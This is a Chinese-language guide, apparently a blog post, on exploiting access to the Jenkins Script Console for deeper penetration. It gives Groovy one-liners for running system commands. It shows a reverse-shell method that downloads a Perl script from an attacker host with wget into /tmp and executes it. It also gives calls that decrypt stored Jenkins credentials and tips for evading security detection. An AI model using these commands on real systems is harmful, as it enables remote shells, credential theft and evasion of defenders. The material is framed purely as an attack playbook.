jenkins:利用script console
字数 891 2025-08-10 13:48:19
Jenkins Script Console 利用指南
概述
当获得 Jenkins Script Console 操作权限后,可以通过以下两种主要方式进行进一步利用。本指南将详细介绍这两种方法的技术细节和操作步骤。
方法一:通过 Script Console 执行系统命令
基本命令执行
- 访问路径:
Manage Jenkins→ 下滑找到Script Console - 基本语法:
println "命令".execute().text - 示例:
println "ls -al /etc/".execute().text
反弹 Shell 技术
当直接使用 bash、nc 反弹 shell 失败时,可尝试其他语言:
Perl 反弹 Shell 方法
-
准备阶段:
- 将反弹 shell 脚本 (shshshsh.pl) 放在攻击者服务器上
- 在服务器上开启 HTTP 监听
-
执行步骤:
// 下载文件 println "wget -P /tmp http://x.x.x.x:8888/shshshsh.pl".execute().text // 执行文件 println "perl /tmp/shshshsh.pl".execute().text
其他语言替代方案
可尝试使用 Python、Ruby 等语言实现类似功能,绕过可能的检测机制。
方法二:Jenkins 凭据提取
凭据位置
- 主配置文件:
credentials.xml - 存储格式:加密字符串 (如
{AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+})
提取方法
方法一:通过 UI 获取加密凭据
- 访问路径:
Credentials→System→Global credentials→ 选择凭据 →Update - 查看网页源码,在隐藏字段中查找加密后的密码
方法二:通过 Script Console 解密
-
使用
fromString方法:println(hudson.util.Secret.fromString("{加密字符串}").getPlainText()) -
使用
decrypt方法:println(hudson.util.Secret.decrypt("{加密字符串}"))
适用条件
此方法适用于账号密码类型的凭据解密。
安全注意事项
- 检测风险:直接命令执行方式容易被安全设备检测
- 规避建议:
- 使用不常见的编程语言实现功能
- 分段执行操作
- 使用加密通信
总结
掌握这两种方法可以有效地利用获得的 Jenkins Script Console 权限进行深入渗透。方法一提供了系统命令执行能力,方法二则专注于凭据提取,两者结合可以获取更全面的系统控制权。